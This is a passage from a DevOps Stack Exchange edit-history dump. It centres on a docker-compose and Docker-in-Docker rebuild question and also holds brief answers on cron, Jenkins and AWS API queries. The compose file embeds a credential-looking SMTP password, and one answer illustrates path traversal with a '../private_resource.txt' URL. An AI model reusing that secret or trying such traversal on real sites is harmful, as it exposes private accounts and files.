127.0.0.1:$GKE_MONGO_PORT:$GKE_MONGO_PORT&#xD;&#xA;      volumes:&#xD;&#xA;       - /cryptdata7/var/data/db:/data/db&#xD;&#xA;&#xD;&#xA;    loudmail:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudmail&#xD;&#xA;      hostname: mail&#xD;&#xA;      domainname: ${GKE_DOMAIN_NAME}&#xD;&#xA;      container_name: loud_mail&#xD;&#xA;      restart: always&#xD;&#xA;      environment:&#xD;&#xA;        - DMS_DEBUG=1&#xD;&#xA;        - ENABLE_MANAGESIEVE=1&#xD;&#xA;        - ENABLE_FAIL2BAN=1&#xD;&#xA;        - SA_TAG=2.0&#xD;&#xA;        - SA_TAG2=6.31&#xD;&#xA;        - SA_KILL=6.31&#xD;&#xA;        - SSL_TYPE=letsencrypt&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:25:25&#xD;&#xA;        - 127.0.0.1:110:110&#xD;&#xA;        - 127.0.0.1:143:143&#xD;&#xA;        - 127.0.0.1:587:587&#xD;&#xA;        - 127.0.0.1:993:993&#xD;&#xA;        - 127.0.0.1:995:995&#xD;&#xA;        - 127.0.0.1:4190:4190&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    loud-devops:&#xD;&#xA;      image: dind&#xD;&#xA;      container_name: loud_devops&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:9000:9000&#xD;&#xA;      volumes:&#xD;&#xA;        - /var/run/docker.sock:/var/run/docker.sock   &#xD;&#xA;        - /usr/bin/docker:/usr/bin/docker   &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libltdl.so.7:/usr/lib/x86_64-linux-gnu/libltdl.so.7  &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libgpm.so.2:/usr/lib/x86_64-linux-gnu/libgpm.so.2&#xD;&#xA;        - /home/asya/src/github.com/blahblah:/inner_home/asya/src/github.com/blahblah &#xD;&#xA;        - /home/asya/.docker:/inner_home/asya/.docker&#xD;&#xA;        - /cryptdata5/var/tools/inner_home/asya:/inner_home/asya&#xD;&#xA;        - $GKE_DIND_SUPERVISOR_LOG_DIR:/var/log/supervisor&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/go:/usr/local/go&#xD;&#xA;        - /cryptdata6/var/log/tmp/asya01:/cryptdata6/var/log/tmp/asya01&#xD;&#xA;        - /cryptdata6/var/log/tmp/shared:/cryptdata6/var/log/tmp/shared&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/bin:/usr/local/bin &#xD;&#xA;        - /cryptdata:/cryptdata&#xD;&#xA;        - /cryptdata4:/cryptdata4&#xD;&#xA;        - /cryptdata5:/cryptdata5&#xD;&#xA;        - /cryptdata6:/cryptdata6&#xD;&#xA;        - /cryptdata7:/cryptdata7&#xD;&#xA;        - /etc/letsencrypt/live:/etc/letsencrypt/live&#xD;&#xA;        - /usr/local/ssl:/usr/local/ssl&#xD;&#xA;        - /var/lib/docker:/var/lib/docker&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/supervisord.conf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The bottom most container in above ( loud-devops ) contains a webhook daemon which listens for a git push to trigger a rebuild cycle. While inside that container the system issues all my docker command including docker build create fresh images for two containers ( nodejs-admin and nodejs-enduser ) then while inside the container I issue the &#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yaml up -d &#xD;&#xA;&#xD;&#xA;which then sometimes incorrectly displays&#xD;&#xA;&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_admin is up-to-date&#xD;&#xA;	loud_enduser is up-to-date&#xD;&#xA;&#xD;&#xA;other times it incorrectly displays&#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yml up -d&#xD;&#xA;    Recreating loud_devops ...&#xD;&#xA;    Recreating loud_mongo ...&#xD;&#xA;    Recreating loud_mail ...&#xD;&#xA;&#xD;&#xA;which should NEVER happen since those 3 images are never rebuilt ... to me that scenario is a blatant docker logic bug ... &#xD;&#xA;&#xD;&#xA;whereas other times works OK and correctly displays&#xD;&#xA;&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	Recreating loud_admin ... done&#xD;&#xA;	Recreating loud_enduser ... done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the host of each server I have docker installed then as you can see in above yaml for container loud-devops  I mount as volumes various docker dirs to enable the execution of docker in docker from inside container loud-devops &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A critical piece of evidence :  on a server which has finished its rebuild cycle where it successfully rebuilt both images loudweb-enduser and loudweb-admin  then incorrectly shows&#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yml up -d &#xD;&#xA;    loud_mail is up-to-date&#xD;&#xA;    loud_mongo is up-to-date&#xD;&#xA;    loud_devops is up-to-date&#xD;&#xA;    loud_admin is up-to-date&#xD;&#xA;    loud_enduser is up-to-date&#xD;&#xA;&#xD;&#xA;where the `docker-compose up` command gets executed by the system while inside container  loud-devops ... IF I then manually login to that same server then manually issue the same command it works correctly :&#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yml up -d &#xD;&#xA;    loud_devops is up-to-date&#xD;&#xA;    loud_mail is up-to-date&#xD;&#xA;    loud_mongo is up-to-date&#xD;&#xA;    Recreating loud_admin ... done&#xD;&#xA;    Recreating loud_enduser ... done&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11952" PostHistoryTypeId="4" PostId="3773" RevisionGUID="9998fe39-6058-4130-a4d0-e9e58e7bfd44" CreationDate="2018-04-05T02:15:18.847" UserId="192" Comment="added 1066 characters in body" Text="docker-compose fails to recognize when images are rebuilt sometimes ... often same code is OK" ContentLicense="CC BY-SA 3.0" />
  <row Id="11953" PostHistoryTypeId="5" PostId="3659" RevisionGUID="4156ae01-5f1d-4195-93c4-dfced43de888" CreationDate="2018-04-05T04:49:24.603" UserId="40" Comment="deleted 20 characters in body" Text="The context of the question is https://devops.stackexchange.com/questions/3658/secrets-management.&#xD;&#xA;&#xD;&#xA;How do you manage storing and retrieving secrets for your micro service which is in production?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11955" PostHistoryTypeId="2" PostId="3812" RevisionGUID="4f553093-1da1-4b67-a104-5f9eeeb1f453" CreationDate="2018-04-05T08:56:36.127" UserId="7260" Text="This seems not to be possible at the moment with pipelines. See [this Jira ticket][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://issues.jenkins-ci.org/browse/JENKINS-42644" ContentLicense="CC BY-SA 3.0" />
  <row Id="11962" PostHistoryTypeId="5" PostId="3773" RevisionGUID="889089c6-9b17-4286-b356-8a4c6b1013f9" CreationDate="2018-04-05T15:32:15.487" UserId="192" Comment="added 15 characters in body; edited tags" Text="I have a devops container inside of which I execute `docker build` and `docker-compose up` commands which run OK then (on same server or different server with same code) sometimes incorrectly fail to `Recreate` sibling containers after their images are rebuilt.&#xD;&#xA;&#xD;&#xA;My process successfully rebuilds a pair of two underlying docker images however &#xD;&#xA;&#xD;&#xA;    docker-compose up &#xD;&#xA;&#xD;&#xA;sometimes fails to pickup that change and incorrectly says up-to-date on freshly rebuilt images when it should be saying Recreating&#xD;&#xA;&#xD;&#xA;I am executing identical code across several servers each with varying OS ( ubuntu 16.04 or debian 8 or debian 9) and varying docker versions ( either  18.04.0-ce-rc1  or  18.03.0-ce ) ... am currently working to track down root cause however see good and bad behavior across each of above OS and docker versions&#xD;&#xA;&#xD;&#xA;This issue does not seem related to https://github.com/docker/compose/issues/3574&#xD;&#xA;&#xD;&#xA;Yes I am tagging the images and doing a push to local docker repository&#xD;&#xA;&#xD;&#xA;    docker build --tag localhost:5000/hygge/loudweb-admin .&#xD;&#xA;&#xD;&#xA;docker push to my local docker repository is &#xD;&#xA;&#xD;&#xA;    docker push localhost:5000/hygge/loudweb-admin&#xD;&#xA;&#xD;&#xA;it also does similar to above image loudweb-enduser&#xD;&#xA;&#xD;&#xA;here my my docker-compose.yaml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;    nodejs-admin:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-admin&#xD;&#xA;      container_name: loud_admin&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata4/var/log/loudlog-admin:/loudlog-admin&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - /cryptdata5/var:/cryptdata5/var&#xD;&#xA;        - /cryptdata5/var/tools:/tools&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - $SOURCE_REPO_DIR/tests:/tmp/tests&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle:/tmp&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:blah@loudmail:587/&#xD;&#xA;        - GKE_NOTIF_TASK_OVERDUE=$GKE_NOTIF_TASK_OVERDUE&#xD;&#xA;        - GKE_NOTIF_TASK_PUSH=$GKE_NOTIF_TASK_PUSH&#xD;&#xA;        - GKE_NOTIF_PLANS_RECUR=$GKE_NOTIF_PLANS_RECUR&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3001:3001&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    nodejs-enduser:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-enduser&#xD;&#xA;      container_name: loud_enduser&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - nodejs-admin&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/enduser/bundle:/tmp&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-cert.pem:/private/config/apn-cert.pem&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-key.pem:/private/config/apn-key.pem&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:puMDcxNmEwMDU5MmJjZjNiNzQ3M2ZlNTJjNDYyOGI1NTggIC0Ksy@loudmail:587/&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3000:3000&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    loudmongo:&#xD;&#xA;      image: mongo&#xD;&#xA;      container_name: loud_mongo&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:$GKE_MONGO_PORT:$GKE_MONGO_PORT&#xD;&#xA;      volumes:&#xD;&#xA;       - /cryptdata7/var/data/db:/data/db&#xD;&#xA;&#xD;&#xA;    loudmail:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudmail&#xD;&#xA;      hostname: mail&#xD;&#xA;      domainname: ${GKE_DOMAIN_NAME}&#xD;&#xA;      container_name: loud_mail&#xD;&#xA;      restart: always&#xD;&#xA;      environment:&#xD;&#xA;        - DMS_DEBUG=1&#xD;&#xA;        - ENABLE_MANAGESIEVE=1&#xD;&#xA;        - ENABLE_FAIL2BAN=1&#xD;&#xA;        - SA_TAG=2.0&#xD;&#xA;        - SA_TAG2=6.31&#xD;&#xA;        - SA_KILL=6.31&#xD;&#xA;        - SSL_TYPE=letsencrypt&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:25:25&#xD;&#xA;        - 127.0.0.1:110:110&#xD;&#xA;        - 127.0.0.1:143:143&#xD;&#xA;        - 127.0.0.1:587:587&#xD;&#xA;        - 127.0.0.1:993:993&#xD;&#xA;        - 127.0.0.1:995:995&#xD;&#xA;        - 127.0.0.1:4190:4190&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    loud-devops:&#xD;&#xA;      image: dind&#xD;&#xA;      container_name: loud_devops&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:9000:9000&#xD;&#xA;      volumes:&#xD;&#xA;        - /var/run/docker.sock:/var/run/docker.sock   &#xD;&#xA;        - /usr/bin/docker:/usr/bin/docker   &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libltdl.so.7:/usr/lib/x86_64-linux-gnu/libltdl.so.7  &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libgpm.so.2:/usr/lib/x86_64-linux-gnu/libgpm.so.2&#xD;&#xA;        - /home/asya/src/github.com/blahblah:/inner_home/asya/src/github.com/blahblah &#xD;&#xA;        - /home/asya/.docker:/inner_home/asya/.docker&#xD;&#xA;        - /cryptdata5/var/tools/inner_home/asya:/inner_home/asya&#xD;&#xA;        - $GKE_DIND_SUPERVISOR_LOG_DIR:/var/log/supervisor&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/go:/usr/local/go&#xD;&#xA;        - /cryptdata6/var/log/tmp/asya01:/cryptdata6/var/log/tmp/asya01&#xD;&#xA;        - /cryptdata6/var/log/tmp/shared:/cryptdata6/var/log/tmp/shared&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/bin:/usr/local/bin &#xD;&#xA;        - /cryptdata:/cryptdata&#xD;&#xA;        - /cryptdata4:/cryptdata4&#xD;&#xA;        - /cryptdata5:/cryptdata5&#xD;&#xA;        - /cryptdata6:/cryptdata6&#xD;&#xA;        - /cryptdata7:/cryptdata7&#xD;&#xA;        - /etc/letsencrypt/live:/etc/letsencrypt/live&#xD;&#xA;        - /usr/local/ssl:/usr/local/ssl&#xD;&#xA;        - /var/lib/docker:/var/lib/docker&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/supervisord.conf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The bottom most container in above ( loud-devops ) contains a webhook daemon which listens for a git push to trigger a rebuild cycle. While inside that container the system issues all my docker command including docker build create fresh images for two containers ( nodejs-admin and nodejs-enduser ) then while inside the container I issue the &#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yaml up -d &#xD;&#xA;&#xD;&#xA;which then sometimes incorrectly displays&#xD;&#xA;&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_admin is up-to-date&#xD;&#xA;	loud_enduser is up-to-date&#xD;&#xA;&#xD;&#xA;other times it incorrectly displays&#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yml up -d&#xD;&#xA;    Recreating loud_devops ...&#xD;&#xA;    Recreating loud_mongo ...&#xD;&#xA;    Recreating loud_mail ...&#xD;&#xA;&#xD;&#xA;which should NEVER happen since those 3 images are never rebuilt ... to me that scenario is a blatant docker logic bug ... &#xD;&#xA;&#xD;&#xA;whereas other times works OK and correctly displays&#xD;&#xA;&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	Recreating loud_admin ... done&#xD;&#xA;	Recreating loud_enduser ... done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the host of each server I have docker installed then as you can see in above yaml for container loud-devops  I mount as volumes various docker dirs to enable the execution of docker in docker from inside container loud-devops &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A critical piece of evidence :  on a server which has finished its rebuild cycle where it successfully rebuilt both images loudweb-enduser and loudweb-admin  then incorrectly shows&#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yml up -d &#xD;&#xA;    loud_mail is up-to-date&#xD;&#xA;    loud_mongo is up-to-date&#xD;&#xA;    loud_devops is up-to-date&#xD;&#xA;    loud_admin is up-to-date&#xD;&#xA;    loud_enduser is up-to-date&#xD;&#xA;&#xD;&#xA;where the `docker-compose up` command gets executed by the system while inside container  loud-devops ... IF I then manually login to that same server then manually issue the same command it works correctly :&#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yml up -d &#xD;&#xA;    loud_devops is up-to-date&#xD;&#xA;    loud_mail is up-to-date&#xD;&#xA;    loud_mongo is up-to-date&#xD;&#xA;    Recreating loud_admin ... done&#xD;&#xA;    Recreating loud_enduser ... done&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11963" PostHistoryTypeId="6" PostId="3773" RevisionGUID="889089c6-9b17-4286-b356-8a4c6b1013f9" CreationDate="2018-04-05T15:32:15.487" UserId="192" Comment="added 15 characters in body; edited tags" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;docker-in-docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11964" PostHistoryTypeId="5" PostId="681" RevisionGUID="cda37531-b931-4855-8e36-1b4ca87bd2df" CreationDate="2018-04-05T15:55:40.763" UserId="192" Comment="fixed bad link" Text="# Continuous Integration Concerns&#xD;&#xA;&#xD;&#xA;In short: Docker in Docker (dind) doesn't handle concurrency well.&#xD;&#xA;&#xD;&#xA;The reason why you shouldn't use dind for CI is because Docker was designed to have exclusive access to the directory it uses for storage (normally `/var/lib/docker`). Dind doesn't respect this as all child processes use this directory concurrently. Every time you rebuild (from CI for example), anything related to your app in this directory could get wiped out and forced to start from zero. How would your users like it if they entered their payment details, clicked &quot;Purchase&quot;, and suddenly found themselves back on the login screen as if they'd never done anything? That's just not good UX. Two rebuilds occur at once? That's really going to end badly for everyone involved (including your data integrity).&#xD;&#xA;&#xD;&#xA;# Other Concerns&#xD;&#xA;&#xD;&#xA;From the link the OP posted, security concerns arise as the system will try to apply security policies in a very &quot;CSS-like&quot; fashion where a lower container could have access to an outer container's resources unless explicitly prohibited. Remember when you could access web server resources by doing something like &quot;mywebsite.com/../another_folder/private_resource.txt&quot;? Also, sometimes filesystems just don't play well with each other when they're nested in this way.&#xD;&#xA;&#xD;&#xA;# The Fix&#xD;&#xA;&#xD;&#xA;Thankfully, the blog post in the OP has a good solution for the issue. Unless your needs are not met by &quot;build/run/push Docker containers from your CI system itself running on Docker&quot;, you can use [`-v` mode][1] (add a data volume to your container) on the Docker socket (usually `/var/run/docker.sock:/var/run/docker.sock`) to allow the kind of access you need to the &quot;shared&quot; data volume. These containers will be started alongside the parent, instead of underneath, forcing synchronous IO. Now you have the same thing (almost) as dind but without the downsides that come with Docker not being build for concurrency.&#xD;&#xA;&#xD;&#xA;Reference (from OP): [Using Docker-in-Docker for your CI or testing environment? Think twice.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/tutorials/dockervolumes/#adding-a-data-volume&#xD;&#xA;  [2]: http://jpetazzo.github.io/2015/09/03/do-not-use-docker-in-docker-for-ci/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11965" PostHistoryTypeId="24" PostId="681" RevisionGUID="cda37531-b931-4855-8e36-1b4ca87bd2df" CreationDate="2018-04-05T15:55:40.763" Comment="Proposed by 192 approved by 40, 201 edit id of 666" ContentLicense="CC BY-SA 3.0" />
  <row Id="11966" PostHistoryTypeId="2" PostId="3815" RevisionGUID="e7aac3f3-dc76-4e1c-96be-9ccca385511a" CreationDate="2018-04-05T16:49:18.690" UserId="960" Text="Using task schedulers like Bamboo or [Airflow](https://airflow.incubator.apache.org/) have a lot of advantages over cron, particularly in their ability to recognize errors and process dependent tasks accordingly.  By far the most common reason not to use them is that you simply haven't set up the infrastructure yet: some form of cron is installed on every Linux machine, and it's easy to add a new job in, whereas these more advanced schedulers require setting up fleets of machines, installing and configuring various pieces of software, and learning how to write new tasks.&#xD;&#xA;&#xD;&#xA;Assuming that you already have this in place, though, there are a few usecases that cron handles better:&#xD;&#xA;&#xD;&#xA;1. **Running a job on a specific machine.**  You can do this with other schedulers, but they're generally designed for tasks that can be run on any one of a set of machines; when you want to do something like run a log rotation on every server in your fleet, that's much easier to set up with cron.&#xD;&#xA;1. **Running time-sensitive tasks at exact times.**  Distributed schedulers will schedule a job to run, but it may not actually run for some period of time, depending on what else is in the queue.  Cron doesn't have a queue, and so a task that needs to run every minute will run every minute (or at least as close to that as the OS scheduler will allow)." ContentLicense="CC BY-SA 3.0" />
  <row Id="11967" PostHistoryTypeId="2" PostId="3816" RevisionGUID="6453f791-f223-4673-9bbe-f6040fe36216" CreationDate="2018-04-05T17:39:38.507" UserId="7182" Text="I am using Jenkins2 and GitHub plugin for triggering **Push** events.&#xD;&#xA;&#xD;&#xA;I have the next service (Jenkins Github): http://myjenkinsmaster/github-webhook/&#xD;&#xA;&#xD;&#xA;I also have 3 braches: dev, stage, master which need to be built.&#xD;&#xA;&#xD;&#xA;But I need that only 1 branch where changes were pushed will be built. &#xD;&#xA;&#xD;&#xA;For example if changes were pushed to dev, only dev branch will be built all the rest ones will be ignored. &#xD;&#xA;&#xD;&#xA;However, Jenkins builds me all 3 branches which I specified in branch field in job configs. &#xD;&#xA;&#xD;&#xA;How can I achieve that Jenkins build for me only that branch where changes were pushed?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11968" PostHistoryTypeId="1" PostId="3816" RevisionGUID="6453f791-f223-4673-9bbe-f6040fe36216" CreationDate="2018-04-05T17:39:38.507" UserId="7182" Text="Github plugin triggering to push event only for changes in specific branches" ContentLicense="CC BY-SA 3.0" />
  <row Id="11969" PostHistoryTypeId="3" PostId="3816" RevisionGUID="6453f791-f223-4673-9bbe-f6040fe36216" CreationDate="2018-04-05T17:39:38.507" UserId="7182" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;github&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11970" PostHistoryTypeId="2" PostId="3817" RevisionGUID="aa643692-257b-4af2-95c8-23448e977e8c" CreationDate="2018-04-05T20:17:55.947" UserId="7182" Text="Finally I have resolved it with the help of &quot;strategy of choosing what to build&quot; with &quot;Default behavior&quot; for each branch." ContentLicense="CC BY-SA 3.0" />
  <row Id="11971" PostHistoryTypeId="2" PostId="3818" RevisionGUID="1d8de889-584d-4fce-8efd-73761abff6c5" CreationDate="2018-04-05T22:14:38.443" UserId="210" Text="https://docs.ansible.com/ansible/2.4/vault.html&#xD;&#xA;&#xD;&#xA;Since snsoble 2.4 one could use `@prompt`" ContentLicense="CC BY-SA 3.0" />
  <row Id="11972" PostHistoryTypeId="5" PostId="3818" RevisionGUID="95c2949d-e4d9-4552-8f45-3db8dd15e2b1" CreationDate="2018-04-06T10:04:13.580" UserId="6544" Comment="Typo correction, and tried to meet 6 character minimum  limit for edits" Text="Please read https://docs.ansible.com/ansible/2.4/vault.html&#xD;&#xA;Since Ansible 2.4 one could use `@prompt`. " ContentLicense="CC BY-SA 3.0" />
  <row Id="11973" PostHistoryTypeId="24" PostId="3818" RevisionGUID="95c2949d-e4d9-4552-8f45-3db8dd15e2b1" CreationDate="2018-04-06T10:04:13.580" Comment="Proposed by 6544 approved by 40, 210 edit id of 667" ContentLicense="CC BY-SA 3.0" />
  <row Id="11980" PostHistoryTypeId="2" PostId="3821" RevisionGUID="c5a0f5ca-b7b4-4ecb-87d7-903e4cbae3be" CreationDate="2018-04-06T12:25:35.140" UserId="4954" Text="&#xD;&#xA;Possible reasons for using cron over jenkins&#xD;&#xA;&#xD;&#xA;I am assuming you mean cron on a Linux system and not a Kubernetes CronJob Controller (https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/)&#xD;&#xA;&#xD;&#xA;1) User permissions.  Although you can work around this with Jenkins, it is possibly easier to run commands as arbitary users in cron&#xD;&#xA;&#xD;&#xA;2) Provisioning of commands.  You might want to be able to set up the commands with Puppet using a cron type.  Again, I'm sure Jenkins can be configured in this way but it's possibly easier in some circumstances to configure cron&#xD;&#xA;&#xD;&#xA;3) Lightweight.  All Linux/Unix hosts run cron as a basic service that is always available.  Whereas Jenkins requires extra non standard items to be installed and running&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11982" PostHistoryTypeId="2" PostId="3822" RevisionGUID="4e13611e-7b1a-442f-ab83-4db820f7d709" CreationDate="2018-04-06T12:39:28.930" UserId="4954" Text="AWS have a specific service to deal with this type of use case, [EC2 Systems Manager][1]&#xD;&#xA;&#xD;&#xA;This allows making base patch sets and then checking they are applied to target systems. &#xD;&#xA;&#xD;&#xA;&gt; &quot;Patch Manager is a fully-managed service (provided at no additional&#xD;&#xA;&gt; cost) that helps you simplify your operating system patching process,&#xD;&#xA;&gt; including defining the patches you want to approve for deployment, the&#xD;&#xA;&gt; method of patch deployment, the timing for patch roll-outs, and&#xD;&#xA;&gt; determining patch compliance status across your entire fleet of&#xD;&#xA;&gt; instances. It’s extremely configurable with some sensible defaults and&#xD;&#xA;&gt; helps you easily deal with patching heterogeneous clusters.&quot;&#xD;&#xA;&#xD;&#xA; -- [&quot;Amazon EC2 Systems Manager Patch Manager now supports Linux&quot;][2]&#xD;&#xA;&#xD;&#xA;You'll need to install an SSM agent on each system and add a role but other than that it should be unobtrusive &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/systems-manager/&#xD;&#xA;  [2]: https://aws.amazon.com/blogs/aws/amazon-ec2-systems-manager-patch-manager-now-supports-linux/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11983" PostHistoryTypeId="2" PostId="3823" RevisionGUID="2a41c2e7-c23b-4451-a057-e50363ca1eb4" CreationDate="2018-04-06T13:02:15.957" UserId="6523" Text="How to authenticate againts AWS to make API query ?&#xD;&#xA;&#xD;&#xA;    https://iam.amazonaws.com/?Action=ListAttachedUserPolicies&amp;UserName=ja&amp;Version=2010-05-08&amp;accesskey&#xD;&#xA;&#xD;&#xA;and getting:&#xD;&#xA;&#xD;&#xA;    &lt;Code&gt;MissingAuthenticationToken&lt;/Code&gt;&#xD;&#xA;    &lt;Message&gt;Request is missing Authentication Token&lt;/Message&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11984" PostHistoryTypeId="1" PostId="3823" RevisionGUID="2a41c2e7-c23b-4451-a057-e50363ca1eb4" CreationDate="2018-04-06T13:02:15.957" UserId="6523" Text="AWS REST API Query" ContentLicense="CC BY-SA 3.0" />
  <row Id="11985" PostHistoryTypeId="3" PostId="3823" RevisionGUID="2a41c2e7-c23b-4451-a057-e50363ca1eb4" CreationDate="2018-04-06T13:02:15.957" UserId="6523" Text="&lt;amazon-web-services&gt;&lt;api&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11986" PostHistoryTypeId="2" PostId="3824" RevisionGUID="344ed901-3154-47c8-9dcf-cc251af41d4e" CreationDate="2018-04-06T13:23:59.163" UserId="6523" Text="Got it working by aws curl https://github.com/okigan/awscurl&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    awscurl --service iam 'https://iam.amazonaws.com/?Action=ListUsers&amp;Version=2010-05-08'&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11988" PostHistoryTypeId="50" PostId="3539" RevisionGUID="8be7f97c-9bee-4336-8278-8aec410c2aec" CreationDate="2018-04-06T14:47:51.017" UserId="-1" />
